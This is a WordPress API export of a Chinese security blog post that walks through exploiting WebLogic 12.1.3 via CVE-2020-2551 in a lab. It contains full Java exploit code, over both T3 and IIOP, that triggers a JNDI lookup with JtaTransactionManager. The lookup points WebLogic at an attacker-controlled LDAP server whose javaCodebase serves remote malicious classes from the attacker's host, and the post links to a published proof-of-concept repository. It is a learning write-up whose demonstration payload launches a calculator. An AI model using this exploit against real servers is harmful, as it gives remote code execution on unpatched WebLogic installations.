{"id":267,"date":"2020-02-23T04:45:59","date_gmt":"2020-02-22T20:45:59","guid":{"rendered":"https:\/\/blog.73007300.xyz\/?p=267"},"modified":"2020-04-02T21:43:50","modified_gmt":"2020-04-02T13:43:50","slug":"java%e8%bf%9c%e7%a8%8b%e5%8a%a0%e8%bd%bd%e5%88%a9%e7%94%a8%e5%ad%a6%e4%b9%a0%e4%ba%94%ef%bc%9aweblogic%e5%ae%9e%e8%b7%b5cve-2020-2551","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=267","title":{"rendered":"JAVA\u8fdc\u7a0b\u52a0\u8f7d\u5229\u7528\u5b66\u4e60\u4e94\uff1aweblogic\u5b9e\u8df5(CVE-2020-2551)"},"content":{"rendered":"\n<p>\u63a5\u4e0b\u6765\u5c31\u662f\u7528\u4e4b\u524d\u7684\u7406\u89e3\u53bb\u65e5weblogic,\u8bf4\u5230\u5e95\u5c31\u662f\u8ba9weblogic \u6267\u884c  InitialContext.lookup()\u65b9\u6cd5\uff0c\u53c2\u6570\u662f\u6211\u4eec\u63d0\u4f9b\u7684\u6076\u610fldap\u670d\u52a1\uff0c\u7136\u540e\u8fdc\u7a0b\u52a0\u8f7d\u6076\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc \u8fd8\u8981\u7ee7\u7eed\u7528<a href=\"https:\/\/blog.73007300.xyz\/?p=264\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"\u300aJAVA\u5e8f\u5217\u5316\u5229\u7528\u5b66\u4e60\u56db\uff1aldap lookup + javaCodebase \u4ecehttp\u52a0\u8f7dpayload\u300b\uff08\u5728\u65b0\u7a97\u53e3\u6253\u5f00\uff09\">\u300aJAVA\u5e8f\u5217\u5316\u5229\u7528\u5b66\u4e60\u56db\uff1aldap lookup + javaCodebase \u4ecehttp\u52a0\u8f7dpayload\u300b<\/a>\u7684\u90e8\u5206\u7c7b\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u51c6\u5907<\/h2>\n\n\n\n<p><\/p>\n\n\n\n<p>weblogic\u7528\u7684\u662f12.1.3\uff0cWindows\u5e73\u53f0\u3002192.168.1.217\u3002<br> \u653b\u51fb\u8fd8\u662f\u4ecekali\u53d1\u8d77\u7684\u3002192.168.1.99\u3002<br> HttpServer\u7c7b\u4e0d\u53d8\uff0c\u542f\u52a8\u3002<br> ExportObject\u91cc\u6267\u884c\u7684\u547d\u4ee4\u6362\u6210\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>            \/\/exec(\"gnome-calculator\");\n            exec(\"calc\");<\/code><\/pre>\n\n\n\n<p>\u542f\u52a8LDAPRefServer\u3002<br>\n\u628aLDAPServer2\u4e2d\u7684javaCodebase\u7684http\u5730\u5740\u6362\u6210kali\u7684IP\uff08192.168.1.99\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>        Attribute mod2 = new BasicAttribute(\"javaCodebase\",\n                \"http:\/\/192.168.1.99:8000\/\");<\/code><\/pre>\n\n\n\n<p>\u542f\u52a8LDAPServer2\uff0c\u5411LDAP\u670d\u52a1\u63d2\u5165\u6570\u636e\u3002<br>\n\u51c6\u5907\u597d\u8fd9\u4e9b\uff0c\u5c31\u53ef\u4ee5\u65e5weblogic\u4e86\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u51fb<\/h2>\n\n\n\n<p>\u53bbweblogic\u91cc\u62ff\uff1a<br> com.bea.core.repackaged.apache.commons.logging_1.2.1.jar<br> com.bea.core.repackaged.springframework.pitchfork_1.4.0.0_1-0.jar<br> com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar<br> wlclient.jar<br> \u8fd9\u56db\u4e2a\u5305\uff0c\u5bfc\u5165\u5230\u9879\u76ee\u3002<br> \u5148\u590d\u4e60\u4e00\u4e0bT3\u534f\u8bae\u7684\u653b\u51fb\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.hans.weblogicLdapExploit;\n\nimport java.util.Hashtable;\n\nimport com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;\n\n\nimport javax.ejb.EJBHome;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.naming.NamingException;\n\n\npublic class WeblogicLdapLookup {\n    public final static String JNDI_FACTORY = \"weblogic.jndi.WLInitialContextFactory\";\n    public final static String url = \"t3:\/\/192.168.1.217:7001\";\n    \n    public static void main(String[] args) throws NamingException, ClassNotFoundException {\n    \ttry {\n            Hashtable&lt;String, String> env = new Hashtable&lt;String, String>();\n            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);\n            env.put(Context.PROVIDER_URL, url);\n        Context initialContext = new InitialContext(env);\n\n        String jndiAddress = \"ldap:\/\/192.168.1.99:1389\/uid=hans,ou=employees,dc=example,dc=com\";\n        \n        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();\n        jtaTransactionManager.setUserTransactionName(jndiAddress);\n        \n        EJBHome ejbHome = (EJBHome) initialContext.lookup(\"ejb\/mgmt\/MEJB\");\n        ejbHome.remove(jtaTransactionManager);\n        \n    \t}catch(Exception e) {\n    \t\tSystem.out.println(e);\n    \t}\n    }\n        \n}<\/code><\/pre>\n\n\n\n<p>\u6211\u4e0d\u77e5\u9053EJBHome\u505a\u4ec0\u4e48\uff0c\u6211\u8981\u5047\u88c5\u77e5\u9053EJBHome\u957f\u4ec0\u4e48\u6837\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package javax.ejb;\n\nimport java.rmi.Remote;\nimport java.rmi.RemoteException;\n\npublic interface EJBHome extends Remote {\n    void remove(Handle var1) throws RemoteException, RemoveException;\n\n    void remove(Object var1) throws RemoteException, RemoveException;\n\n    EJBMetaData getEJBMetaData() throws RemoteException;\n\n    HomeHandle getHomeHandle() throws RemoteException;\n}<\/code><\/pre>\n\n\n\n<p>\u5173\u4e8e JtaTransactionManager \u7684\u5229\u7528\u94fe\uff0chttps:\/\/paper.seebug.org\/1091\/#jndildap \u6709\u8be6\u7ec6\u7684\u8bf4\u660e\u3002<br> \u8be5\u5229\u7528\u65b9\u5f0f\u9002\u5408\u6ca1\u6253\u8865\u4e01\u7684weblogic\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1613\" height=\"584\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2020\/02\/image-11.png\" alt=\"\" class=\"wp-image-268\"\/><\/figure>\n\n\n\n<p>\u7531\u4e8e\u540e\u7eed\u7684\u8865\u4e01\u5728T3\u534f\u8baereadObject\u7684\u65f6\u5019\u52a0\u4e86\u9ed1\u540d\u5355\uff0c\u6240\u4ee5JtaTransactionManager \u7684\u5229\u7528\u94fe\u5728\u6253\u4e0a\u8865\u4e01\u7684weblogic\u5c31\u5931\u6548\u4e86\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">CVE-2020-2551<\/h2>\n\n\n\n<p>\u57282020\u5e74\u5e74\u521d\u7684\u65f6\u5019\u7206\u51fa\u6765 \u4f7f\u7528iiop\u534f\u8bae\u53ef\u4ee5\u7ed5\u8fc7\u9650\u5236\uff08CVE-2020-2551\uff09\uff0c\u9020\u6210\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c <a href=\"https:\/\/qiita.com\/shimizukawasaki\/items\/7e01401a706900435591\">https:\/\/qiita.com\/shimizukawasaki\/items\/7e01401a706900435591<\/a> <br> \u7136\u540e\u6211\u5728\u8fd9\u9047\u5230\u4e00\u4e2a\u5de8\u5751\uff01\u5361\u4e86\u6211\u597d\u4e45\u3002<br> \u6211\u4e00\u5f00\u59cb\u7528\u7684wlthint3client.jar\u5305\uff0c\u7ed3\u679c\u5229\u7528IIOP\u534f\u8bae\u7684\u65f6\u5019\u4e00\u76f4\u62a5 <br> weblogic.jndi.WLInitialContextFactory Unknown protocol IIOP <br> \u627e\u4e86\u597d\u4e45\u624d\u53d1\u73b0\u7528\u7684\u662ft3\u7684client\u5305\uff08wlthint3client.jar\uff09\uff01\u5976\u5976\u7684\u3002<br> \u53bbweblogic\u91cc\u62ff\u4e2awlclient.jar\u6362\u8fdb\u6765\u5c31\u597d\u4e86\u3002<\/p>\n\n\n\n<p>\u5bf9\u524d\u9762\u7684payload\u7a0d\u52a0\u4fee\u6539<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.hans.weblogicLdapExploit;\n\nimport java.util.Hashtable;\n\nimport com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;\n\nimport javax.ejb.EJBHome;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.naming.NamingException;\n\npublic class WeblogicLdapLookup {\n\t\/**\/\n    public final static String JNDI_FACTORY = \"weblogic.jndi.WLInitialContextFactory\";\n    public final static String url = \"iiop:\/\/192.168.1.217:7001\";\n    \n    public static void main(String[] args) throws NamingException, ClassNotFoundException {\n    \ttry {\n            Hashtable&lt;String, String> env = new Hashtable&lt;String, String>();\n            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);\n            env.put(Context.PROVIDER_URL, url);\n        Context initialContext = new InitialContext(env);\n        \n        String jndiAddress = \"ldap:\/\/192.168.1.99:1389\/uid=hans,ou=employees,dc=example,dc=com\";\n        \n        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();\n        jtaTransactionManager.setUserTransactionName(jndiAddress);\n        \n        EJBHome ejbHome = (EJBHome) initialContext.lookup(\"ejb\/mgmt\/MEJB\");\n        ejbHome.remove(jtaTransactionManager);     \n        \n    \t}catch(Exception e) {\n    \t\tSystem.out.println(e);\n    \t}\n    }\n        \n}\n<\/code><\/pre>\n\n\n\n<p>\u53ef\u8fdc\u7a0b\u6267\u884cExportObject\u7684\u4ee3\u7801\u3002<br>\n\u67e5\u770bweblogic\u7684\u9519\u8bef\u65e5\u5fd7,\u786e\u5b9e\u53d1\u751f\u5728IIOP\u534f\u8bae\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1447\" height=\"876\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2020\/02\/image-12.png\" alt=\"\" class=\"wp-image-269\"\/><\/figure>\n\n\n\n<p>\u7531\u4e8e\u6211\u6ca1\u6709weblogic\u7684\u8865\u4e01\uff0c\u53ea\u662f\u51ed\u73b0\u6709\u7684\u4fe1\u606f\u548c\u77e5\u8bc6\uff0c\u731c\u6d4b\uff0c\u8fd9\u5e94\u8be5\u5c31\u662fCVE-2020-2551\u7684POC\u3002<br> \u5b8c\u5168\u4ee3\u7801\u653e\u5230\u6211\u7684 <a href=\"https:\/\/gitlab.com\/han0x7300\/cve-2020-2551-poc\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"gitlab\uff08\u5728\u65b0\u7a97\u53e3\u6253\u5f00\uff09\">gitlab<\/a>   <\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u63a5\u4e0b\u6765\u5c31\u662f\u7528\u4e4b\u524d\u7684\u7406\u89e3\u53bb\u65e5weblogic,\u8bf4\u5230\u5e95\u5c31\u662f\u8ba9weblogic \u6267\u884c InitialContext.lookup()\u65b9\u6cd5\uff0c\u53c2\u6570\u662f\u6211\u4eec\u63d0\u4f9b\u7684\u6076\u610fldap\u670d\u52a1\uff0c\u7136\u540e\u8fdc\u7a0b\u52a0\u8f7d\u6076\u610f\u4ee3\u7801\u3002 \u8fd9\u91cc \u8fd8\u8981\u7ee7\u7eed\u7528\u300aJAVA\u5e8f\u5217\u5316\u5229\u7528\u5b66\u4e60\u56db\uff1aldap lookup + javaCodebase \u4ecehttp\u52a0\u8f7dpayload\u300b\u7684\u90e8\u5206\u7c7b\u3002 \u51c6\u5907 weblogic\u7528\u7684\u662f12.1.3\uff0cWindows\u5e73\u53f0\u3002192.168.1.217\u3002 \u653b\u51fb\u8fd8\u662f\u4ecekali\u53d1\u8d77\u7684\u3002192.168.1.99\u3002 HttpServer\u7c7b\u4e0d\u53d8\uff0c\u542f\u52a8\u3002 ExportObject\u91cc\u6267\u884c\u7684\u547d\u4ee4\u6362\u6210\uff1a \u542f\u52a8LDAPRefServer\u3002 \u628aLDAPServer2\u4e2d\u7684javaCodebase\u7684http\u5730\u5740\u6362\u6210kali\u7684IP\uff08192.168.1.99\uff09 \u542f\u52a8LDAPServer2\uff0c\u5411LDAP\u670d\u52a1\u63d2\u5165\u6570\u636e\u3002 \u51c6\u5907\u597d\u8fd9\u4e9b\uff0c\u5c31\u53ef\u4ee5\u65e5weblogic\u4e86\u3002 \u653b\u51fb \u53bbweblogic\u91cc\u62ff\uff1a com.bea.core.repackaged.apache.commons.logging_1.2.1.jar com.bea.core.repackaged.springframework.pitchfork_1.4.0.0_1-0.jar com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar wlclient.jar \u8fd9\u56db\u4e2a\u5305\uff0c\u5bfc\u5165\u5230\u9879\u76ee\u3002 \u5148\u590d\u4e60\u4e00\u4e0bT3\u534f\u8bae\u7684\u653b\u51fb\uff1a \u6211\u4e0d\u77e5\u9053EJBHome\u505a\u4ec0\u4e48\uff0c\u6211\u8981\u5047\u88c5\u77e5\u9053EJBHome\u957f\u4ec0\u4e48\u6837\uff1a \u5173\u4e8e JtaTransactionManager \u7684\u5229\u7528\u94fe\uff0chttps:\/\/paper.seebug.org\/1091\/#jndildap \u6709\u8be6\u7ec6\u7684\u8bf4\u660e\u3002 \u8be5\u5229\u7528\u65b9\u5f0f\u9002\u5408\u6ca1\u6253\u8865\u4e01\u7684weblogic\uff1a \u7531\u4e8e\u540e\u7eed\u7684\u8865\u4e01\u5728T3\u534f\u8baereadObject\u7684\u65f6\u5019\u52a0\u4e86\u9ed1\u540d\u5355\uff0c\u6240\u4ee5JtaTransactionManager \u7684\u5229\u7528\u94fe\u5728\u6253\u4e0a\u8865\u4e01\u7684weblogic\u5c31\u5931\u6548\u4e86\u3002 CVE-2020-2551 \u57282020\u5e74\u5e74\u521d\u7684\u65f6\u5019\u7206\u51fa\u6765 \u4f7f\u7528iiop\u534f\u8bae\u53ef\u4ee5\u7ed5\u8fc7\u9650\u5236\uff08CVE-2020-2551\uff09\uff0c\u9020\u6210\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c https:\/\/qiita.com\/shimizukawasaki\/items\/7e01401a706900435591 \u7136\u540e\u6211\u5728\u8fd9\u9047\u5230\u4e00\u4e2a\u5de8\u5751\uff01\u5361\u4e86\u6211\u597d\u4e45\u3002 \u6211\u4e00\u5f00\u59cb\u7528\u7684wlthint3client.jar\u5305\uff0c\u7ed3\u679c\u5229\u7528IIOP\u534f\u8bae\u7684\u65f6\u5019\u4e00\u76f4\u62a5 weblogic.jndi.WLInitialContextFactory Unknown protocol IIOP \u627e\u4e86\u597d\u4e45\u624d\u53d1\u73b0\u7528\u7684\u662ft3\u7684client\u5305\uff08wlthint3client.jar\uff09\uff01\u5976\u5976\u7684\u3002 \u53bbweblogic\u91cc\u62ff\u4e2awlclient.jar\u6362\u8fdb\u6765\u5c31\u597d\u4e86\u3002 \u5bf9\u524d\u9762\u7684payload\u7a0d\u52a0\u4fee\u6539 \u53ef\u8fdc\u7a0b\u6267\u884cExportObject\u7684\u4ee3\u7801\u3002 \u67e5\u770bweblogic\u7684\u9519\u8bef\u65e5\u5fd7,\u786e\u5b9e\u53d1\u751f\u5728IIOP\u534f\u8bae\uff1a \u7531\u4e8e\u6211\u6ca1\u6709weblogic\u7684\u8865\u4e01\uff0c\u53ea\u662f\u51ed\u73b0\u6709\u7684\u4fe1\u606f\u548c\u77e5\u8bc6\uff0c\u731c\u6d4b\uff0c\u8fd9\u5e94\u8be5\u5c31\u662fCVE-2020-2551\u7684POC\u3002 \u5b8c\u5168\u4ee3\u7801\u653e\u5230\u6211\u7684 gitlab<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,2],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/267"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=267"}],"version-history":[{"count":3,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/267\/revisions"}],"predecessor-version":[{"id":329,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/267\/revisions\/329"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}